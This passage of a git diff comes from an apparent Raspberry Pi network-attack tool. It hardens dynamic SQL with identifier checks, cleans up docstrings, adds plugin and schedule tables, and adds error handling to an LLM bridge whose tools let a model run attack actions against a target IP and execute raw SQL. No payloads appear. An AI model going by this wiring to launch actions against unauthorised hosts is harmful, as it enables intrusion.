Tuple[int, int, int]: """ Force a WAL checkpoint. Returns (busy, log_frames, checkpointed_frames). mode ∈ {PASSIVE, FULL, RESTART, TRUNCATE} """ mode = (mode or "PASSIVE").upper() - if mode not in {"PASSIVE", "FULL", "RESTART", "TRUNCATE"}: + if mode not in self._VALID_CHECKPOINT_MODES: mode = "PASSIVE" with self._cursor() as c: c.execute(f"PRAGMA wal_checkpoint({mode});") diff --git a/db_utils/bifrost.py b/db_utils/bifrost.py index f937a5b..7a8fbe3 100644 --- a/db_utils/bifrost.py +++ b/db_utils/bifrost.py @@ -1,6 +1,4 @@ -""" -Bifrost DB operations — networks, handshakes, epochs, activity, peers, plugin data. -""" +"""bifrost.py - Networks, handshakes, epochs, activity, peers, plugin data.""" import logging from logger import Logger @@ -89,7 +87,7 @@ class BifrostOps: "ON bifrost_activity(timestamp DESC)" ) - # Peers (mesh networking — Phase 2) + # Peers (mesh networking - Phase 2) self.base.execute(""" CREATE TABLE IF NOT EXISTS bifrost_peers ( peer_id TEXT PRIMARY KEY, diff --git a/db_utils/comments.py b/db_utils/comments.py index c694a1f..bec5b6c 100644 --- a/db_utils/comments.py +++ b/db_utils/comments.py @@ -1,5 +1,4 @@ -# db_utils/comments.py -# Comment and status message operations +"""comments.py - Comment and status message operations.""" import json import os diff --git a/db_utils/config.py b/db_utils/config.py index 3ee1b1c..4624136 100644 --- a/db_utils/config.py +++ b/db_utils/config.py @@ -1,5 +1,4 @@ -# db_utils/config.py -# Configuration management operations +"""config.py - Configuration management operations.""" import json import ast diff --git a/db_utils/credentials.py b/db_utils/credentials.py index 310621b..b583250 100644 --- a/db_utils/credentials.py +++ b/db_utils/credentials.py @@ -1,5 +1,4 @@ -# db_utils/credentials.py -# Credential storage and management operations +"""credentials.py - Credential storage and management operations.""" import json import sqlite3 diff --git a/db_utils/hosts.py b/db_utils/hosts.py index 866d053..4eabd97 100644 --- a/db_utils/hosts.py +++ b/db_utils/hosts.py @@ -1,9 +1,9 @@ -# db_utils/hosts.py -# Host and network device management operations +"""hosts.py - Host and network device management operations.""" import time import sqlite3 from typing import Any, Dict, Iterable, List, Optional +from db_utils.base import _validate_identifier import logging from logger import Logger @@ -428,6 +428,7 @@ class HostOps: if tname == 'hosts': continue try: + _validate_identifier(tname, "table name") cur.execute(f"PRAGMA table_info({tname})") cols = [r[1].lower() for r in cur.fetchall()] if 'mac_address' in cols: diff --git a/db_utils/loki.py b/db_utils/loki.py index 04b0fa7..2a70bbb 100644 --- a/db_utils/loki.py +++ b/db_utils/loki.py @@ -1,6 +1,4 @@ -""" -Loki DB operations — HID scripts and job tracking. -""" +"""loki.py - HID script and job tracking operations.""" import logging from logger import Logger diff --git a/db_utils/packages.py b/db_utils/packages.py new file mode 100644 index 0000000..f32e81e --- /dev/null +++ b/db_utils/packages.py @@ -0,0 +1,54 @@ +"""packages.py - Custom package tracking operations.""" + +import logging +from typing import Any, Dict, List, Optional + +from logger import Logger + +logger = Logger(name="db_utils.packages", level=logging.DEBUG) + + +class PackageOps: + """Custom package management operations""" + + def __init__(self, base): + self.base = base + + def create_tables(self): + """Create custom_packages table""" + self.base.execute(""" + CREATE TABLE IF NOT EXISTS custom_packages ( + name TEXT PRIMARY KEY, + version TEXT, + installed_at TEXT DEFAULT CURRENT_TIMESTAMP, + installed_by TEXT DEFAULT 'user' + ); + """) + logger.debug("Packages table created/verified") + + # ========================================================================= + # PACKAGE OPERATIONS + # ========================================================================= + + def add_package(self, name: str, version: str) -> None: + """Insert or replace a package record""" + self.base.execute(""" + INSERT OR REPLACE INTO custom_packages (name, version) + VALUES (?, ?); + """, (name, version)) + + def remove_package(self, name: str) -> None: + """Delete a package by name""" + self.base.execute("DELETE FROM custom_packages WHERE name=?;", (name,)) + + def list_packages(self) -> List[Dict[str, Any]]: + """List all tracked packages""" + return self.base.query( + "SELECT * FROM custom_packages ORDER BY name;" + ) + + def get_package(self, name: str) -> Optional[Dict[str, Any]]: + """Get a single package by name""" + return self.base.query_one( + "SELECT * FROM custom_packages WHERE name=?;", (name,) + ) diff --git a/db_utils/plugins.py b/db_utils/plugins.py new file mode 100644 index 0000000..f3e89cd --- /dev/null +++ b/db_utils/plugins.py @@ -0,0 +1,137 @@ +"""plugins.py - Plugin configuration and hook tracking operations.""" + +import json +import logging +from typing import Any, Dict, List, Optional + +from logger import Logger + +logger = Logger(name="db_utils.plugins", level=logging.DEBUG) + + +class PluginOps: + """Plugin configuration and hook registration operations.""" + + def __init__(self, base): + self.base = base + + def create_tables(self): + """Create plugin_configs and plugin_hooks tables.""" + + self.base.execute(""" + CREATE TABLE IF NOT EXISTS plugin_configs ( + plugin_id TEXT PRIMARY KEY, + enabled INTEGER DEFAULT 1, + config_json TEXT DEFAULT '{}', + meta_json TEXT DEFAULT '{}', + installed_at TEXT DEFAULT CURRENT_TIMESTAMP, + updated_at TEXT DEFAULT CURRENT_TIMESTAMP + ); + """) + + self.base.execute(""" + CREATE TABLE IF NOT EXISTS plugin_hooks ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + plugin_id TEXT NOT NULL, + hook_name TEXT NOT NULL, + UNIQUE(plugin_id, hook_name), + FOREIGN KEY (plugin_id) REFERENCES plugin_configs(plugin_id) + ON DELETE CASCADE + ); + """) + + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_plugin_hooks_hook " + "ON plugin_hooks(hook_name);" + ) + + logger.debug("Plugin tables created/verified") + + # ── Config CRUD ────────────────────────────────────────────────── + + def get_plugin_config(self, plugin_id: str) -> Optional[Dict[str, Any]]: + """Get plugin config row. Returns dict with parsed config_json and meta.""" + row = self.base.query_one( + "SELECT * FROM plugin_configs WHERE plugin_id=?;", (plugin_id,) + ) + if row: + try: + row["config"] = json.loads(row.get("config_json") or "{}") + except Exception: + row["config"] = {} + try: + row["meta"] = json.loads(row.get("meta_json") or "{}") + except Exception: + row["meta"] = {} + return row + + def save_plugin_config(self, plugin_id: str, config: dict) -> None: + """Update config_json for a plugin.""" + self.base.execute(""" + UPDATE plugin_configs + SET config_json = ?, updated_at = CURRENT_TIMESTAMP + WHERE plugin_id = ?; + """, (json.dumps(config, ensure_ascii=False), plugin_id)) + + def upsert_plugin(self, plugin_id: str, enabled: int, config: dict, meta: dict) -> None: + """Insert or update a plugin record.""" + self.base.execute(""" + INSERT INTO plugin_configs (plugin_id, enabled, config_json, meta_json) + VALUES (?, ?, ?, ?) + ON CONFLICT(plugin_id) DO UPDATE SET + enabled = excluded.enabled, + meta_json = excluded.meta_json, + updated_at = CURRENT_TIMESTAMP; + """, (plugin_id, enabled, json.dumps(config, ensure_ascii=False), + json.dumps(meta, ensure_ascii=False))) + + def delete_plugin(self, plugin_id: str) -> None: + """Delete plugin and its hooks (CASCADE).""" + self.base.execute("DELETE FROM plugin_configs WHERE plugin_id=?;", (plugin_id,)) + + def list_plugins(self) -> List[Dict[str, Any]]: + """List all registered plugins.""" + rows = self.base.query("SELECT * FROM plugin_configs ORDER BY plugin_id;") + for r in rows: + try: + r["config"] = json.loads(r.get("config_json") or "{}") + except Exception: + r["config"] = {} + try: + r["meta"] = json.loads(r.get("meta_json") or "{}") + except Exception: + r["meta"] = {} + return rows + + def set_plugin_enabled(self, plugin_id: str, enabled: bool) -> None: + """Toggle plugin enabled state.""" + self.base.execute( + "UPDATE plugin_configs SET enabled=?, updated_at=CURRENT_TIMESTAMP WHERE plugin_id=?;", + (1 if enabled else 0, plugin_id) + ) + + # ── Hook CRUD ──────────────────────────────────────────────────── + + def set_plugin_hooks(self, plugin_id: str, hooks: List[str]) -> None: + """Replace all hooks for a plugin.""" + with self.base.transaction(): + self.base.execute("DELETE FROM plugin_hooks WHERE plugin_id=?;", (plugin_id,)) + for h in hooks: + self.base.execute( + "INSERT OR IGNORE INTO plugin_hooks(plugin_id, hook_name) VALUES(?,?);", + (plugin_id, h) + ) + + def get_hooks_for_event(self, hook_name: str) -> List[str]: + """Get all plugin_ids subscribed to a given hook.""" + rows = self.base.query( + "SELECT plugin_id FROM plugin_hooks WHERE hook_name=?;", (hook_name,) + ) + return [r["plugin_id"] for r in rows] + + def get_hooks_for_plugin(self, plugin_id: str) -> List[str]: + """Get all hooks a plugin subscribes to.""" + rows = self.base.query( + "SELECT hook_name FROM plugin_hooks WHERE plugin_id=?;", (plugin_id,) + ) + return [r["hook_name"] for r in rows] diff --git a/db_utils/queue.py b/db_utils/queue.py index 243c68b..1979b5b 100644 --- a/db_utils/queue.py +++ b/db_utils/queue.py @@ -1,5 +1,4 @@ -# db_utils/queue.py -# Action queue management operations +"""queue.py - Action queue management operations.""" import json import sqlite3 diff --git a/db_utils/schedules.py b/db_utils/schedules.py new file mode 100644 index 0000000..ad3b2ef --- /dev/null +++ b/db_utils/schedules.py @@ -0,0 +1,244 @@ +"""schedules.py - Script scheduling and trigger operations.""" + +import json +import logging +from datetime import datetime, timedelta +from typing import Any, Dict, List, Optional + +from logger import Logger + +logger = Logger(name="db_utils.schedules", level=logging.DEBUG) + + +class ScheduleOps: + """Script schedule and trigger management operations""" + + def __init__(self, base): + self.base = base + + def create_tables(self): + """Create script_schedules and script_triggers tables""" + self.base.execute(""" + CREATE TABLE IF NOT EXISTS script_schedules ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + script_name TEXT NOT NULL, + schedule_type TEXT NOT NULL DEFAULT 'recurring', + interval_seconds INTEGER, + run_at TEXT, + args TEXT DEFAULT '', + conditions TEXT, + enabled INTEGER DEFAULT 1, + last_run_at TEXT, + next_run_at TEXT, + run_count INTEGER DEFAULT 0, + last_status TEXT, + last_error TEXT, + created_at TEXT DEFAULT CURRENT_TIMESTAMP, + updated_at TEXT DEFAULT CURRENT_TIMESTAMP + ); + """) + self.base.execute(""" + CREATE INDEX IF NOT EXISTS idx_sched_next + ON script_schedules(next_run_at) WHERE enabled=1; + """) + self.base.execute(""" + CREATE TABLE IF NOT EXISTS script_triggers ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + script_name TEXT NOT NULL, + trigger_name TEXT NOT NULL, + conditions TEXT NOT NULL, + args TEXT DEFAULT '', + enabled INTEGER DEFAULT 1, + last_fired_at TEXT, + fire_count INTEGER DEFAULT 0, + cooldown_seconds INTEGER DEFAULT 60, + created_at TEXT DEFAULT CURRENT_TIMESTAMP + ); + """) + self.base.execute(""" + CREATE INDEX IF NOT EXISTS idx_trig_enabled + ON script_triggers(enabled) WHERE enabled=1; + """) + logger.debug("Schedule and trigger tables created/verified") + + # ========================================================================= + # SCHEDULE OPERATIONS + # ========================================================================= + + def add_schedule(self, script_name: str, schedule_type: str, + interval_seconds: Optional[int] = None, + run_at: Optional[str] = None, args: str = '', + conditions: Optional[str] = None) -> int: + """Insert a new schedule entry and return its id""" + next_run_at = None + if schedule_type == 'recurring' and interval_seconds: + next_run_at = (datetime.utcnow() + timedelta(seconds=interval_seconds)).strftime('%Y-%m-%d %H:%M:%S') + elif run_at: + next_run_at = run_at + + self.base.execute(""" + INSERT INTO script_schedules + (script_name, schedule_type, interval_seconds, run_at, args, conditions, next_run_at) + VALUES (?, ?, ?, ?, ?, ?, ?); + """, (script_name, schedule_type, interval_seconds, run_at, args, conditions, next_run_at)) + + rows = self.base.query("SELECT last_insert_rowid() AS id;") + return rows[0]['id'] if rows else 0 + + def update_schedule(self, id: int, **kwargs) -> None: + """Update schedule fields; recompute next_run_at if interval changes""" + if not kwargs: + return + sets = [] + params = [] + for key, value in kwargs.items(): + sets.append(f"{key}=?") + params.append(value) + sets.append("updated_at=datetime('now')") + params.append(id) + self.base.execute( + f"UPDATE script_schedules SET {', '.join(sets)} WHERE id=?;", + tuple(params) + ) + # Recompute next_run_at if interval changed + if 'interval_seconds' in kwargs: + row = self.get_schedule(id) + if row and row['schedule_type'] == 'recurring' and kwargs['interval_seconds']: + next_run = (datetime.utcnow() + timedelta(seconds=kwargs['interval_seconds'])).strftime('%Y-%m-%d %H:%M:%S') + self.base.execute( + "UPDATE script_schedules SET next_run_at=?, updated_at=datetime('now') WHERE id=?;", + (next_run, id) + ) + + def delete_schedule(self, id: int) -> None: + """Delete a schedule by id""" + self.base.execute("DELETE FROM script_schedules WHERE id=?;", (id,)) + + def list_schedules(self, enabled_only: bool = False) -> List[Dict[str, Any]]: + """List all schedules, optionally filtered to enabled only""" + if enabled_only: + return self.base.query( + "SELECT * FROM script_schedules WHERE enabled=1 ORDER BY id;" + ) + return self.base.query("SELECT * FROM script_schedules ORDER BY id;") + + def get_schedule(self, id: int) -> Optional[Dict[str, Any]]: + """Get a single schedule by id""" + return self.base.query_one( + "SELECT * FROM script_schedules WHERE id=?;", (id,) + ) + + def get_due_schedules(self) -> List[Dict[str, Any]]: + """Get schedules that are due to run""" + return self.base.query(""" + SELECT * FROM script_schedules + WHERE enabled=1 + AND next_run_at <= datetime('now') + AND (last_status IS NULL OR last_status != 'running') + ORDER BY next_run_at; + """) + + def mark_schedule_run(self, id: int, status: str, error: Optional[str] = None) -> None: + """Mark a schedule as run, update counters, recompute next_run_at""" + row = self.get_schedule(id) + if not row: + return + + now = datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S') + + if row['schedule_type'] == 'recurring' and row['interval_seconds']: + next_run = (datetime.utcnow() + timedelta(seconds=row['interval_seconds'])).strftime('%Y-%m-%d %H:%M:%S') + self.base.execute(""" + UPDATE script_schedules + SET last_run_at=?, last_status=?, last_error=?, + run_count=run_count+1, next_run_at=?, updated_at=datetime('now') + WHERE id=?; + """, (now, status, error, next_run, id)) + else: + # oneshot: disable after run + self.base.execute(""" + UPDATE script_schedules + SET last_run_at=?, last_status=?, last_error=?, + run_count=run_count+1, enabled=0, updated_at=datetime('now') + WHERE id=?; + """, (now, status, error, id)) + + def toggle_schedule(self, id: int, enabled: bool) -> None: + """Enable or disable a schedule""" + self.base.execute( + "UPDATE script_schedules SET enabled=?, updated_at=datetime('now') WHERE id=?;", + (1 if enabled else 0, id) + ) + + # ========================================================================= + # TRIGGER OPERATIONS + # ========================================================================= + + def add_trigger(self, script_name: str, trigger_name: str, conditions: str, + args: str = '', cooldown_seconds: int = 60) -> int: + """Insert a new trigger and return its id""" + self.base.execute(""" + INSERT INTO script_triggers + (script_name, trigger_name, conditions, args, cooldown_seconds) + VALUES (?, ?, ?, ?, ?); + """, (script_name, trigger_name, conditions, args, cooldown_seconds)) + + rows = self.base.query("SELECT last_insert_rowid() AS id;") + return rows[0]['id'] if rows else 0 + + def update_trigger(self, id: int, **kwargs) -> None: + """Update trigger fields""" + if not kwargs: + return + sets = [] + params = [] + for key, value in kwargs.items(): + sets.append(f"{key}=?") + params.append(value) + params.append(id) + self.base.execute( + f"UPDATE script_triggers SET {', '.join(sets)} WHERE id=?;", + tuple(params) + ) + + def delete_trigger(self, id: int) -> None: + """Delete a trigger by id""" + self.base.execute("DELETE FROM script_triggers WHERE id=?;", (id,)) + + def list_triggers(self, enabled_only: bool = False) -> List[Dict[str, Any]]: + """List all triggers, optionally filtered to enabled only""" + if enabled_only: + return self.base.query( + "SELECT * FROM script_triggers WHERE enabled=1 ORDER BY id;" + ) + return self.base.query("SELECT * FROM script_triggers ORDER BY id;") + + def get_trigger(self, id: int) -> Optional[Dict[str, Any]]: + """Get a single trigger by id""" + return self.base.query_one( + "SELECT * FROM script_triggers WHERE id=?;", (id,) + ) + + def get_active_triggers(self) -> List[Dict[str, Any]]: + """Get all enabled triggers""" + return self.base.query( + "SELECT * FROM script_triggers WHERE enabled=1 ORDER BY id;" + ) + + def mark_trigger_fired(self, id: int) -> None: + """Record that a trigger has fired""" + self.base.execute(""" + UPDATE script_triggers + SET last_fired_at=datetime('now'), fire_count=fire_count+1 + WHERE id=?; + """, (id,)) + + def is_trigger_on_cooldown(self, id: int) -> bool: + """Check if a trigger is still within its cooldown period""" + row = self.base.query_one(""" + SELECT 1 AS on_cooldown FROM script_triggers + WHERE id=? + AND last_fired_at IS NOT NULL + AND datetime(last_fired_at, '+' || cooldown_seconds || ' seconds') > datetime('now'); + """, (id,)) + return row is not None diff --git a/db_utils/scripts.py b/db_utils/scripts.py index f0f96d7..8b1e4be 100644 --- a/db_utils/scripts.py +++ b/db_utils/scripts.py @@ -1,5 +1,4 @@ -# db_utils/scripts.py -# Script and project metadata operations +"""scripts.py - Script and project metadata operations.""" from typing import Any, Dict, List, Optional import logging diff --git a/db_utils/sentinel.py b/db_utils/sentinel.py index 687310c..7a43659 100644 --- a/db_utils/sentinel.py +++ b/db_utils/sentinel.py @@ -1,11 +1,10 @@ -""" -Sentinel DB operations — events, rules, known devices baseline. -""" +"""sentinel.py - Events, rules, and known devices baseline.""" import json import logging from typing import Any, Dict, List, Optional from logger import Logger +from db_utils.base import _validate_identifier logger = Logger(name="db_utils.sentinel", level=logging.DEBUG) @@ -17,7 +16,7 @@ class SentinelOps: def create_tables(self): """Create all Sentinel tables.""" - # Known device baselines — MAC → expected behavior + # Known device baselines - MAC → expected behavior self.base.execute(""" CREATE TABLE IF NOT EXISTS sentinel_devices ( mac_address TEXT PRIMARY KEY, @@ -261,9 +260,11 @@ class SentinelOps: if existing: sets = [] params = [] + _ALLOWED_DEVICE_COLS = {"alias", "trusted", "watch", "expected_ips", + "expected_ports", "notes"} for k, v in kwargs.items(): - if k in ("alias", "trusted", "watch", "expected_ips", - "expected_ports", "notes"): + if k in _ALLOWED_DEVICE_COLS: + _validate_identifier(k, "column name") sets.append(f"{k} = ?") params.append(v) sets.append("last_seen = CURRENT_TIMESTAMP") diff --git a/db_utils/services.py b/db_utils/services.py index ee75390..9d69280 100644 --- a/db_utils/services.py +++ b/db_utils/services.py @@ -1,5 +1,4 @@ -# db_utils/services.py -# Per-port service fingerprinting and tracking operations +"""services.py - Per-port service fingerprinting and tracking.""" from typing import Dict, List, Optional import logging diff --git a/db_utils/software.py b/db_utils/software.py index 74b6937..29ce207 100644 --- a/db_utils/software.py +++ b/db_utils/software.py @@ -1,5 +1,4 @@ -# db_utils/software.py -# Detected software (CPE) inventory operations +"""software.py - Detected software (CPE) inventory operations.""" from typing import List, Optional import logging diff --git a/db_utils/stats.py b/db_utils/stats.py index 09fedb8..c67889b 100644 --- a/db_utils/stats.py +++ b/db_utils/stats.py @@ -1,5 +1,4 @@ -# db_utils/stats.py -# Statistics tracking and display operations +"""stats.py - Statistics tracking and display operations.""" import time import sqlite3 diff --git a/db_utils/studio.py b/db_utils/studio.py index 295040b..03a38b1 100644 --- a/db_utils/studio.py +++ b/db_utils/studio.py @@ -1,11 +1,12 @@ -# db_utils/studio.py -# Actions Studio visual editor operations +"""studio.py - Actions Studio visual editor operations.""" import json +import re from typing import Dict, List, Optional import logging from logger import Logger +from db_utils.base import _validate_identifier logger = Logger(name="db_utils.studio", level=logging.DEBUG) @@ -105,13 +106,27 @@ class StudioOps: ORDER BY b_priority DESC, b_class """) + # Whitelist of columns that can be updated via the studio API + _STUDIO_UPDATABLE = frozenset({ + 'b_priority', 'studio_x', 'studio_y', 'studio_locked', 'studio_color', + 'studio_metadata', 'b_trigger', 'b_requires', 'b_enabled', 'b_timeout', + 'b_max_retries', 'b_cooldown', 'b_rate_limit', 'b_service', 'b_port', + 'b_stealth_level', 'b_risk_level', 'b_tags', 'b_parent', 'b_action', + }) + def update_studio_action(self, b_class: str, updates: dict): """Update a studio action""" sets = [] params = [] for key, value in updates.items(): + _validate_identifier(key, "column name") + if key not in self._STUDIO_UPDATABLE: + logger.warning(f"Ignoring unknown studio column: {key}") + continue sets.append(f"{key} = ?") params.append(value) + if not sets: + return params.append(b_class) self.base.execute(f""" @@ -313,7 +328,9 @@ class StudioOps: if col == "b_class": continue if col not in stu_cols: + _validate_identifier(col, "column name") col_type = act_col_defs.get(col, "TEXT") or "TEXT" + _validate_identifier(col_type.split()[0], "column type") self.base.execute(f"ALTER TABLE actions_studio ADD COLUMN {col} {col_type};") # 3) Insert missing b_class entries, non-destructive @@ -326,6 +343,7 @@ class StudioOps: for col in act_cols: if col == "b_class": continue + _validate_identifier(col, "column name") # Only update if the studio value is NULL self.base.execute(f""" UPDATE actions_studio diff --git a/db_utils/vulnerabilities.py b/db_utils/vulnerabilities.py index 6418110..68fc5ef 100644 --- a/db_utils/vulnerabilities.py +++ b/db_utils/vulnerabilities.py @@ -1,5 +1,4 @@ -# db_utils/vulnerabilities.py -# Vulnerability tracking and CVE metadata operations +"""vulnerabilities.py - Vulnerability tracking and CVE metadata operations.""" import json import time diff --git a/db_utils/webenum.py b/db_utils/webenum.py index 4c8d2d2..8c1fb7f 100644 --- a/db_utils/webenum.py +++ b/db_utils/webenum.py @@ -1,5 +1,4 @@ -# db_utils/webenum.py -# Web enumeration (directory/file discovery) operations +"""webenum.py - Web enumeration and directory/file discovery operations.""" from typing import Any, Dict, List, Optional import logging diff --git a/debug_schema.py b/debug_schema.py index 4a66050..cec9c45 100644 --- a/debug_schema.py +++ b/debug_schema.py @@ -1,3 +1,4 @@ +"""debug_schema.py - Dump RL table schemas to schema_debug.txt for quick inspection.""" import sqlite3 import os diff --git a/display.py b/display.py index 8a0310b..16d1168 100644 --- a/display.py +++ b/display.py @@ -1,7 +1,4 @@ -# display.py -# Core component for managing the E-Paper Display (EPD) and Web Interface Screenshot -# OPTIMIZED FOR PI ZERO 2: Asynchronous Rendering, Text Caching, and I/O Throttling. -# FULL VERSION - NO LOGIC REMOVED +"""display.py - E-paper display renderer and web screenshot generator.""" import math import threading @@ -704,7 +701,7 @@ class Display: break def _draw_system_histogram(self, image: Image.Image, draw: ImageDraw.Draw): - # Vertical bars at the bottom-left — positions from layout + # Vertical bars at the bottom-left - positions from layout mem_hist = self.layout.get('mem_histogram') cpu_hist = self.layout.get('cpu_histogram') @@ -1026,7 +1023,7 @@ class Display: self._comment_layout_cache["key"] != key or (now - self._comment_layout_cache["ts"]) >= self._comment_layout_min_interval ): - # J'ai aussi augmenté la largeur disponible (width - 2) puisque l'on se colle au bord + # Use (width - 2) since text hugs the edge lines = self.shared_data.wrap_text( self.shared_data.bjorn_says, self.shared_data.font_arialbold, diff --git a/display_layout.py b/display_layout.py index f83fd1a..6d65090 100644 --- a/display_layout.py +++ b/display_layout.py @@ -1,7 +1,5 @@ -""" -Display Layout Engine for multi-size EPD support. -Provides data-driven layout definitions per display model. -""" +"""display_layout.py - Data-driven layout definitions for multi-size e-paper displays.""" + import json import os import logging diff --git a/epd_manager.py b/epd_manager.py index e78f984..bbce16c 100644 --- a/epd_manager.py +++ b/epd_manager.py @@ -1,11 +1,4 @@ -""" -EPD Manager - singleton wrapper around Waveshare drivers. -Hardened for runtime stability: -- no per-operation worker-thread timeouts (prevents leaked stuck SPI threads) -- serialized SPI access -- bounded retry + recovery -- health metrics for monitoring -""" +"""epd_manager.py - Singleton wrapper around Waveshare EPD drivers with serialized SPI access.""" import importlib import threading diff --git a/feature_logger.py b/feature_logger.py index 136c380..2280f84 100644 --- a/feature_logger.py +++ b/feature_logger.py @@ -1,22 +1,4 @@ -""" -feature_logger.py - Dynamic Feature Logging Engine for Bjorn -═══════════════════════════════════════════════════════════════════════════ - -Purpose: - Automatically capture ALL relevant features from action executions - for deep learning model training. No manual feature declaration needed. - -Architecture: - - Automatic feature extraction from all data sources - - Time-series aggregation - - Network topology features - - Action success patterns - - Lightweight storage optimized for Pi Zero - - Export format ready for deep learning - -Author: Bjorn Team (Enhanced AI Version) -Version: 2.0.0 -""" +"""feature_logger.py - Auto-capture action execution features for deep learning training.""" import json import time @@ -220,7 +202,8 @@ class FeatureLogger: 'success': success, 'timestamp': time.time() }) - self._prune_host_history() + if len(self.host_history) > 1000: + self._prune_host_history() logger.debug( f"Logged features for {action_name} on {mac_address} " diff --git a/init_shared.py b/init_shared.py index 3aec8c8..30917c1 100644 --- a/init_shared.py +++ b/init_shared.py @@ -1,13 +1,8 @@ -#init_shared.py -# Description: -# This file, init_shared.py, is responsible for initializing and providing access to shared data across different modules in the Bjorn project. -# -# Key functionalities include: -# - Importing the `SharedData` class from the `shared` module. -# - Creating an instance of `SharedData` named `shared_data` that holds common configuration, paths, and other resources. -# - Ensuring that all modules importing `shared_data` will have access to the same instance, promoting consistency and ease of data management throughout the project. - +"""init_shared.py - Global singleton for shared state; import shared_data from here.""" from shared import SharedData +# Module-level initialization is thread-safe in CPython: the import lock +# guarantees that this module body executes at most once, even when multiple +# threads import it concurrently (see importlib._bootstrap._ModuleLock). shared_data = SharedData() diff --git a/land_protocol.py b/land_protocol.py index 26e362c..12c0f67 100644 --- a/land_protocol.py +++ b/land_protocol.py @@ -1,15 +1,4 @@ -# land_protocol.py -# Python client for the LAND Protocol (Local AI Network Discovery). -# https://github.com/infinition/land-protocol -# -# Replace this file to update LAND protocol compatibility. -# Imported by llm_bridge.py — no other Bjorn code touches this. -# -# Protocol summary: -# Discovery : mDNS service type _ai-inference._tcp.local. (port 5353) -# Transport : TCP HTTP on port 8419 by default -# Infer : POST /infer {"prompt": str, "capability": "llm", "max_tokens": int} -# Response : {"response": str} or {"text": str} +"""land_protocol.py - LAND protocol client: mDNS discovery + HTTP inference for local AI nodes.""" import json import threading @@ -43,11 +32,11 @@ def discover_node( except ImportError: if logger: logger.warning( - "zeroconf not installed — LAND mDNS discovery disabled. " + "zeroconf not installed - LAND mDNS discovery disabled. " "Run: pip install zeroconf" ) else: - print("[LAND] zeroconf not installed — mDNS discovery disabled") + print("[LAND] zeroconf not installed - mDNS discovery disabled") return class _Listener(ServiceListener): diff --git a/llm_bridge.py b/llm_bridge.py index a9886ed..d0ff5f7 100644 --- a/llm_bridge.py +++ b/llm_bridge.py @@ -1,9 +1,7 @@ -# llm_bridge.py -# LLM backend cascade for Bjorn. -# Priority: LaRuche (LAND/mDNS) → Ollama local → External API → None (template fallback) -# All external deps are optional — graceful degradation at every level. +"""llm_bridge.py - LLM backend cascade: LAND/LaRuche -> Ollama -> external API -> fallback.""" import json +import socket import threading import time import urllib.request @@ -17,7 +15,7 @@ logger = Logger(name="llm_bridge.py", level=20) # INFO # --------------------------------------------------------------------------- # Tool definitions (Anthropic Messages API format). -# Mirrors the tools exposed by mcp_server.py — add new tools here too. +# Mirrors the tools exposed by mcp_server.py - add new tools here too. # --------------------------------------------------------------------------- _BJORN_TOOLS: List[Dict] = [ { @@ -104,7 +102,7 @@ class LLMBridge: 3. External API (Anthropic / OpenAI / OpenRouter) 4. None → caller falls back to templates - Singleton — one instance per process, thread-safe. + Singleton - one instance per process, thread-safe. """ _instance: Optional["LLMBridge"] = None @@ -137,7 +135,7 @@ class LLMBridge: self._hist_lock = threading.Lock() self._ready = True - # Always start mDNS discovery — even if LLM is disabled. + # Always start mDNS discovery - even if LLM is disabled. # This way LaRuche URL is ready the moment the user enables LLM. if self._cfg("llm_laruche_discovery", True): self._start_laruche_discovery() @@ -241,11 +239,11 @@ class LLMBridge: logger.info(f"LLM response from [{b}] (len={len(result)})") return result else: - logger.warning(f"LLM backend [{b}] returned empty response — skipping") + logger.warning(f"LLM backend [{b}] returned empty response - skipping") except Exception as exc: logger.warning(f"LLM backend [{b}] failed: {exc}") - logger.debug("All LLM backends failed — returning None (template fallback)") + logger.debug("All LLM backends failed - returning None (template fallback)") return None def generate_comment( @@ -278,7 +276,7 @@ class LLMBridge: [{"role": "user", "content": prompt}], max_tokens=int(self._cfg("llm_comment_max_tokens", 80)), system=system, - timeout=8, # Short timeout for EPD — fall back fast + timeout=8, # Short timeout for EPD - fall back fast ) def chat( @@ -288,7 +286,7 @@ class LLMBridge: system: Optional[str] = None, ) -> Optional[str]: """ - Stateful chat with Bjorn — maintains conversation history per session. + Stateful chat with Bjorn - maintains conversation history per session. """ if not self._is_enabled(): return "LLM is disabled. Enable it in Settings → LLM Bridge." @@ -420,8 +418,17 @@ class LLMBridge: headers={"Content-Type": "application/json"}, method="POST", ) - with urllib.request.urlopen(req, timeout=timeout) as resp: - body = json.loads(resp.read().decode()) + try: + with urllib.request.urlopen(req, timeout=timeout) as resp: + raw_bytes = resp.read().decode() + except (urllib.error.URLError, socket.timeout, ConnectionError, OSError) as e: + logger.warning(f"Ollama network error: {e}") + return None + try: + body = json.loads(raw_bytes) + except json.JSONDecodeError as e: + logger.warning(f"Ollama returned invalid JSON: {e}") + return None return body.get("message", {}).get("content") or None # ------------------------------------------------------------------ @@ -481,8 +488,17 @@ class LLMBridge: data = json.dumps(payload).encode() req = urllib.request.Request(api_url, data=data, headers=headers, method="POST") - with urllib.request.urlopen(req, timeout=timeout) as resp: - body = json.loads(resp.read().decode()) + try: + with urllib.request.urlopen(req, timeout=timeout) as resp: + raw_bytes = resp.read().decode() + except (urllib.error.URLError, socket.timeout, ConnectionError, OSError) as e: + logger.warning(f"Anthropic network error: {e}") + return None + try: + body = json.loads(raw_bytes) + except json.JSONDecodeError as e: + logger.warning(f"Anthropic returned invalid JSON: {e}") + return None stop_reason = body.get("stop_reason") content = body.get("content", []) @@ -541,11 +557,18 @@ class LLMBridge: if name == "get_status": return mcp_server._impl_get_status() if name == "run_action": + action_name = inputs.get("action_name") + target_ip = inputs.get("target_ip") + if not action_name or not target_ip: + return json.dumps({"error": "run_action requires 'action_name' and 'target_ip'"}) return mcp_server._impl_run_action( - inputs["action_name"], inputs["target_ip"], inputs.get("target_mac", "") + action_name, target_ip, inputs.get("target_mac", "") ) if name == "query_db": - return mcp_server._impl_query_db(inputs["sql"], inputs.get("params")) + sql = inputs.get("sql") + if not sql: + return json.dumps({"error": "query_db requires 'sql'"}) + return mcp_server._impl_query_db(sql, inputs.get("params")) return json.dumps({"error": f"Unknown tool: {name}"}) except Exception as e: return json.dumps({"error": str(e)}) @@ -585,8 +608,17 @@ class LLMBridge: }, method="POST", ) - with urllib.request.urlopen(req, timeout=timeout) as resp: - body = json.loads(resp.read().decode()) + try: + with urllib.request.urlopen(req, timeout=timeout) as resp: + 